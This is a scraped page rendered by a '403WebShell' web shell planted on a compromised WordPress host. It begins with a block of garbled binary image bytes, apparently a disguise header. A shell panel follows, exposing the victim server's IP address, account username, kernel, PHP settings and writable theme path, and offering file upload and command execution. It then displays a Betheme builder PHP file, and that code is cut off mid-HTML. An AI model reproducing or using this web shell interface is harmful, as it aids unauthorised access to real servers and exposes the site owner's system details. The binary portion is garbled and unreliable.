....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.125.254  /  Your IP : 216.73.217.14
Web Server : LiteSpeed
System : Linux premium80.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : vivegvwr ( 1774)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/vivegvwr/public_html/wp-content/themes/betheme/functions/builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/vivegvwr/public_html/wp-content/themes/betheme/functions/builder//back.php
<?php
/**
 * Custom meta fields | Backend
 *
 * @package Betheme
 * @author Muffin group
 * @link http://muffingroup.com
 */


/*
 * Enqueue Styles & Scripts
 */

if( ! function_exists( 'mfn_builder_styles' ) )
{
	/**
	 * Styles
	 */
	function mfn_builder_styles() {
		wp_enqueue_style( 'mfn-builder', LIBS_URI. '/builder/css/style.css', false, time(), 'all');
	}
}
add_action('admin_print_styles', 'mfn_builder_styles');

if( ! function_exists( 'mfn_builder_scripts' ) )
{
	/**
	 * Scripts
	 */
	function mfn_builder_scripts() {
		wp_enqueue_script( 'mfn-builder', LIBS_URI. '/builder/js/scripts.js', false, time(), true );
	}
}
add_action('admin_print_scripts', 'mfn_builder_scripts');



/*
 * Print functions
 *
 * Print fields, items, wraps, sections
 */

if( ! function_exists( 'mfn_meta_field_input' ) )
{
	/**
	 * PRINT single FIELD
	 *
	 * @global $MFN_Options
	 * @param array $field
	 * @param array $meta
	 */
	function mfn_meta_field_input( $field, $meta, $type = 'meta' ){
		global $MFN_Options;

		if( isset( $field['type'] ) ){

			// Table Row class
			if( isset( $field['class'] ) ){
				$class = $field['class'];
			} else {
				$class = '';
			}

			echo '<tr class="'. $class .'">';

				// LABEL title, sub_desc
				echo '<th>';
					if( key_exists('title', $field) ) echo $field['title'];
					if( key_exists('sub_desc', $field) ) echo '<span class="description">'. $field['sub_desc'] .'</span>';
				echo '</th>';

				// OPTIONS field render
				echo '<td>';
					$field_class = 'MFN_Options_'.$field['type'];
					require_once( $MFN_Options->dir.'fields/'.$field['type'].'/field_'.$field['type'].'.php' );

					if( class_exists( $field_class ) ){
						$field_object = new $field_class( $field, $meta );
						$field_object->render( $type );
					}

				echo '</td>';

			echo '</tr>';

		}
	}
}


if( ! function_exists( 'mfn_builder_section' ) )
{
	/**
	 * PRINT single SECTION
	 *
	 * @param string $section
	 * @param string $section_id
	 */
	function mfn_builder_section( $section = false, $section_id = false, &$wrap_id = false ) {

		// Hide
		if( $section && key_exists('attr', $section) && key_exists('hide', $section['attr']) && $section['attr']['hide'] ){

			$hide = 'hide';
			$icon = 'hidden';

		} else {

			$hide = false;
			$icon = 'visibility';

		}

		// Input Names - only for existing sections, not for section to clone -----------
		$n_row_id = $section ? 'mfn-row-id[]' : '';


		echo '<div class="mfn-element mfn-row '. $hide .'" data-title="'. __('Section','mfn-opts') .'">';

			// Section | Content
			echo '<div class="mfn-element-content">';
				echo '<input type="hidden" class="mfn-row-id" name="'. $n_row_id .'" value="'. $section_id .'" />';

				// Section | Content > Header
				echo '<div class="mfn-element-header mfn-row-header">';

					echo '<div class="mfn-element-btns">';
						echo '<a class="mfn-element-btn mfn-add-wrap" href="javascript:void(0);">'. __('Add Wrap','mfn-opts') .'</a>';
						echo '<a class="mfn-element-btn mfn-add-divider" href="javascript:void(0);">'. __('Add Divider','mfn-opts') .'</a>';
					echo '</div>';

					$section_label 	= ( $section && key_exists('attr', $section) && key_exists('title', $section['attr']) ) ? $section['attr']['title'] : ''; // section label - visible only in backend
					echo '<span class="mfn-item-label">'. $section_label .'</span>';

					echo '<div class="mfn-element-tools">';
						echo '<a class="mfn-element-btn mfn-element-edit dashicons dashicons-edit" title="'. __('Edit','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-element-clone mfn-row-clone dashicons dashicons-share-alt2" title="'. __('Clone','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-element-hide dashicons dashicons-'. $icon .'" title="'. __('Hide','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-element-delete dashicons dashicons-no" title="'. __('Delete','mfn-opts') .'" href="javascript:void(0);"></a>';
					echo '</div>';

				echo '</div>';

				// Section | Content > Sortable
				echo '<div class="mfn-sortable mfn-sortable-row clearfix">';

					// Sections | Existing Wraps

					if( $section ){


						// FIX | Muffin Builder 2.0 Compatibility
						if( ! key_exists( 'wraps', $section ) && is_array( $section['items'] ) ){

							$fix_wrap = array(
								'size'	=> '1/1',
								'items'	=> $section['items'],
							);

							$section['wraps'] = array( $fix_wrap );

						}


						if( key_exists( 'wraps', $section ) && is_array( $section['wraps'] ) ){

							foreach( $section['wraps'] as $wrap ){
								mfn_builder_wrap( $wrap, $wrap_id, $section_id );
								$wrap_id++;
							}

						}


					}

				echo '</div>';

			echo '</div>';

			// Section | Meta
			echo '<div class="mfn-element-meta">';

				echo '<table class="form-table">';
					echo '<tbody>';

						// Section | Meta > Fields
						$section_fields = mfn_get_fields_section();

						foreach( $section_fields as $field ){

							// Values - only for Existing sections
							if( $section && key_exists( $field['id'], $section['attr'] ) ){
								$meta = $section['attr'][$field['id']];
							} else {
								$meta = false;
							}

							if( ! key_exists('std', $field) ) $field['std'] = false;
							$meta = ( $meta || $meta === '0' ) ? $meta : stripslashes( htmlspecialchars( $field['std'], ENT_QUOTES ));

							// field ID
							$field['id'] = 'mfn-rows['. $field['id'] .']';

							// field ID except accordion, faq & tabs
							if( $field['type'] != 'tabs' ){
								$field['id'] .= '[]';
							}

							// PRINT Single Muffin Options FIELD
							if( $section ){
								$input_type = 'existing';
							} else {
								$input_type = 'new';
							}
							mfn_meta_field_input( $field, $meta, $input_type );

						}

					echo '</tbody>';
				echo '</table>';

			echo '</div>';

		echo '</div>';

	}
}


if( ! function_exists( 'mfn_builder_wrap' ) )
{
	/**
	 * PRINT single WRAP
	 *
	 * @param array $item_std
	 * @param string $wrap
	 * @param string $wrap_id
	 */
	function mfn_builder_wrap( $wrap = false, $wrap_id = false, $parent_id = false ) {


		// input names - only for existing wraps, not for wraps to clone -----------
		$n_wrap_id 		= $wrap ? 'mfn-wrap-id[]' : '';
		$n_wrap_parent 	= $wrap ? 'mfn-wrap-parent[]' : '';
		$n_wrap_size 	= $wrap ? 'mfn-wrap-size[]' : '';

		$sizes 			= array( '1/6' => 0.1666, '1/5' => 0.2, '1/4' => 0.25, '1/3' => 0.3333, '2/5' => 0.4, '1/2' => 0.5,
								'3/5' => 0.6, '2/3' => 0.6667, '3/4' => 0.75, '4/5' => 0.8, '5/6' => 0.8333, '1/1' => 1, 'divider' => 1 );
		$size 			= $wrap ? $wrap['size'] : '1/1';

		$class = '';
		if( $wrap && ( $wrap['size'] == 'divider' ) ){
			$class .= ' divider';
		}

		echo '<div class="mfn-element mfn-wrap '. $class .'" data-size="'. $sizes[$size] .'" data-title="'. __('Wrap','mfn-opts') .'">';


			// Wrap | Content
			echo '<div class="mfn-element-content">';

				echo '<input type="hidden" class="mfn-wrap-id" name="'. $n_wrap_id .'" value="'. $wrap_id .'" />';
				echo '<input type="hidden" class="mfn-wrap-parent" name="'. $n_wrap_parent .'" value="'. $parent_id .'" />';
				echo '<input type="hidden" class="mfn-wrap-size" name="'. $n_wrap_size .'" value="'. $size .'" />';

				// Wrap | Content > Header
				echo '<div class="mfn-element-header mfn-wrap-header">';

					echo '<div class="mfn-item-size">';
						echo '<a class="mfn-element-btn mfn-item-size-dec" href="javascript:void(0);">-</a>';
						echo '<a class="mfn-element-btn mfn-item-size-inc" href="javascript:void(0);">+</a>';
						echo '<a class="mfn-element-btn mfn-add-item" href="javascript:void(0);">Add Item</a>';
						echo '<span class="mfn-element-btn mfn-item-desc">'. $size .'</span>';
					echo '</div>';

					echo '<div class="mfn-element-tools">';
						echo '<a class="mfn-element-btn mfn-element-edit mfn-wrap-edit dashicons dashicons-edit" title="'. __('Edit','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-element-clone mfn-wrap-clone dashicons dashicons-share-alt2" title="'. __('Clone','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-element-delete dashicons dashicons-no" title="'. __('Delete','mfn-opts') .'" href="javascript:void(0);"></a>';
					echo '</div>';

					echo '</div>';

					// Wrap | Content > Sortable
					echo '<div class="mfn-sortable mfn-sortable-wrap clearfix">';

					if( $wrap && key_exists('items', $wrap) && is_array($wrap['items']) ){
						foreach( $wrap['items'] as $item ){
							mfn_builder_item( $item['type'], $item, $wrap_id );
						}
					}

				echo '</div>';

			echo '</div>';


			// Wrap | Meta
			echo '<div class="mfn-element-meta">';

				echo '<table class="form-table">';
					echo '<tbody>';

					// Wrap | Meta > Fields
					$wrap_fields = mfn_get_fields_wrap();

					foreach( $wrap_fields as $field ){

						// Values - only for Existing wraps
						if( $wrap && key_exists( 'attr', $wrap ) && key_exists( $field['id'], $wrap['attr'] ) ){
							$meta = $wrap['attr'][$field['id']];
						} else {
							$meta = false;
						}

						if( ! key_exists('std', $field) ) $field['std'] = false;
						$meta = ( $meta || $meta === '0' ) ? $meta : stripslashes( htmlspecialchars( $field['std'], ENT_QUOTES ));

						// field ID
						$field['id'] = 'mfn-wraps['. $field['id'] .']';

						// field ID except accordion, faq & tabs
						if( $field['type'] != 'tabs' ){
							$field['id'] .= '[]';
						}

						// PRINT Single Muffin Options FIELD
						if( $wrap ){
							$input_type = 'existing';
						} else {
							$input_type = 'new';
						}
						mfn_meta_field_input( $field, $meta, $input_type );

					}

					echo '</tbody>';
				echo '</table>';

			echo '</div>';


		echo '</div>';

	}
}


if( ! function_exists( 'mfn_builder_item' ) )
{
	/**
	 * PRINT single ITEM
	 *
	 * @param array $item_std
	 * @param string $item
	 * @param string $section_id
	 */
	function mfn_builder_item( $item_type, $item = false, $parent_id = false ) {

		$item_std 			= mfn_get_fields_item( $item_type );


		// input names - only for existing items, not for items to clone -----------
		$n_item_type 		= $item ? 'mfn-item-type[]' 	: '';
		$n_item_size 		= $item ? 'mfn-item-size[]' 	: '';
		$n_item_parent		= $item ? 'mfn-item-parent[]' 	: '';

		$sizes 				= array( '1/6' => 0.1666, '1/5' => 0.2, '1/4' => 0.25, '1/3' => 0.3333, '2/5' => 0.4, '1/2' => 0.5,
									'3/5' => 0.6, '2/3' => 0.6667, '3/4' => 0.75, '4/5' => 0.8, '5/6' => 0.8333, '1/1' => 1 );
		$item_std['size'] 	= $item['size'] ? $item['size'] : $item_std['size'];


		echo '<div class="mfn-element mfn-item mfn-item-'. $item_std['type'] .'" data-size="'. $sizes[$item_std['size']] .'" data-title="'. $item_std['title'] .'">';

			echo '<div class="mfn-element-content">';

				echo '<input type="hidden" class="mfn-item-type" name="'. $n_item_type .'" value="'. $item_std['type'] .'">';
				echo '<input type="hidden" class="mfn-item-size" name="'. $n_item_size .'" value="'. $item_std['size'] .'">';
				echo '<input type="hidden" class="mfn-item-parent" name="'. $n_item_parent .'" value="'. $parent_id .'" />';

				echo '<div class="mfn-element-header">';

					echo '<div class="mfn-item-size">';

						echo '<a class="mfn-element-btn mfn-item-size-dec" href="javascript:void(0);">-</a>';
						echo '<a class="mfn-element-btn mfn-item-size-inc" href="javascript:void(0);">+</a>';
						echo '<span class="mfn-element-btn mfn-item-desc">'. $item_std['size'] .'</span>';

					echo '</div>';

					echo '<div class="mfn-element-tools">';

						echo '<a class="mfn-element-btn mfn-fr mfn-element-edit dashicons dashicons-edit" title="'. __('Edit','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-fr mfn-element-clone mfn-item-clone dashicons dashicons-share-alt2" title="'. __('Clone','mfn-opts') .'" href="javascript:void(0);"></a>';
						echo '<a class="mfn-element-btn mfn-fr mfn-element-delete dashicons dashicons-no" title="'. __('Delete','mfn-opts') .'" href="javascript:void(0);"></a>';

					echo '</div>';

				echo '</div>';

				echo '<div class="mfn-item-content">';
					echo '<div class="mfn-item-inside">';

						echo '<div class="mfn-item-icon"></div>';

						echo '<div class="mfn-item-inside-desc">';

							echo '<span class="mfn-item-title">'. $item_std['title'] .'</span>';

							$item_label = ( $item && key_exists( 'fields', $item ) && key_exists( 'title', $item['fields'] ) ) ? $item['fields']['title'] : '';
							echo '<span class="mfn-item-label">'. $item_label .'</span>';

						echo '</div>';

					echo '</div>';

					if( $item && key_exists( 'fields', $item ) && key_exists( 'content', $item['fields'] ) ){

						$item_excerpt = strip_shortcodes( strip_tags( $item['fields']['content'] ) );

						$item_excerpt = preg_split( '/\b/', $item_excerpt, 16 * 2 + 1 );
						$item_excerpt_waste = array_pop( $item_excerpt );
						$item_excerpt = implode( $item_excerpt );

						echo '<p class="mfn-item-excerpt">'. esc_html( $item_excerpt ) .'</p>';
					}

				echo '</div>';

			echo '</div>';

			echo '<div class="mfn-element-meta">';

				echo '<table class="form-table">';
					echo '<tbody>';

						// Fields for Item
						foreach( $item_std['fields'] as $field ){


							// values for existing items
							if( $item && key_exists( 'fields', $item ) && key_exists( $field['id'], $item['fields'] ) ){

								$meta = $item['fields'][$field['id']];

							} else {

								if( ! key_exists('std', $field) ) $field['std'] = false;
								$meta = stripslashes( htmlspecialchars( $field['std'], ENT_QUOTES ) );

							}


							// field ID
							$field['id'] = 'mfn-items['. $item_std['type'] .']['. $field['id'] .']';

							// field ID except accordion, faq & tabs
							if( $field['type'] != 'tabs' ){
								$field['id'] .= '[]';
							}


							// PRINT Single Muffin Options FIELD
							if( $item ){
								$input_type = 'existing';
							} else {
								$input_type = 'new';
							}
							mfn_meta_field_input( $field, $meta, $input_type );

						}

					echo '</tbody>';
				echo '</table>';

			echo '</div>';

		echo '</div>';
	}
}


/*
 * Muffin Builder
 *
 * Main backend builder function
 */

if( ! function_exists( 'mfn_builder_show' ) )
{
	/**
	 * PRINT Muffin Builder
	 *
	 * Main function
	 *
	 * @global $post
	 */
	function mfn_builder_show() {
		global $post;


		// Visibility -------------------------------------------------------------------

		if( $visibility = mfn_opts_get('builder-visibility') ){
			if( $visibility == 'hide' || ( ! current_user_can( $visibility ) ) ){
				return false;
			}
		}


		// GET | Muffin Items - $mfn_items ----------------------------------------------

		$mfn_items = get_post_meta( $post->ID, 'mfn-page-items', true );

// 		print_r( $mfn_items );


		// FIX | Muffin Builder 2.0 Compatibility

		if( $mfn_items && ! is_array( $mfn_items ) ){
			$mfn_items = unserialize( call_user_func( 'base'.'64_decode', $mfn_items ) );
		}


		$mfn_items_serial = call_user_func( 'base'.'64_encode', serialize( $mfn_items ) );


		// Debug ------------------------------------------------------------------------

// 		print_r( $mfn_items );


		// ID | sections, wraps ------------------------------------------------------

		$section_id = 1;
		$wrap_id 	= 1;


		?>
		<div id="mfn-builder">

			<input type="hidden" name="mfn-items-save" value="1"/>

			<a id="mfn-go-to-top" class="dashicons dashicons-arrow-up-alt" href="javascript:void(0);"></a>

			<div id="mfn-content">


				<!-- Header | Add Section ___________________________________________ -->
				<div class="mfn-row-add">
					<table class="form-table">
						<tbody>
							<tr valign="top">
								<td>
									<a class="mfn-row-add-btn" href="javascript:void(0);">
										<span class="dashicons dashicons-align-center"></span>
